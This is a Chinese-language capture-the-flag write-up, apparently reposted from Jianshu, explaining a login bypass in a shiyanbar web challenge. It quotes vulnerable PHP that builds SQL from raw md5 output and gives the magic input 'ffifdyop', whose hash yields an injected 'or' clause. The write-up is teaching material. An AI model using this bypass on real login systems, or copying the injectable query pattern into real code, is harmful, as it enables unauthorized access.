**

后台登陆SQL

**

地址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
后台登陆SQL
查看源代码,出现提示,后台数据库的查询代码:

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密码错误!';
		} -->

分析代码:
md5($password,true),对我们输入的密码进行了md5加密

后台登陆SQL

但是组成SQL查询语句的时候这个hex(16进制)会被转成字符串,如果转换之后的字符串包含’or’,就会和原查询语句一起组成:

$sql="select password from users where password=''or'<xxx>'"

导致了sql注入

提供一个字符串: ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串:'or ’ 6

解析:存在 or 即代码的两边有一边为真既可以绕过,其实为垃圾代码没有任何用的。

or 后面有6,非零值即为真。既可以成功绕过。


作者:许胖子
链接:https://www.jianshu.com/p/e37e26d2ba7f
來源:简书

构造的SQL语句:SELECT * FROM admin WHERE pass=’ ‘or ’ 6’

后面代码只是判断了返回回来的结果的行数是否是大于零:

$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0)

相关文章: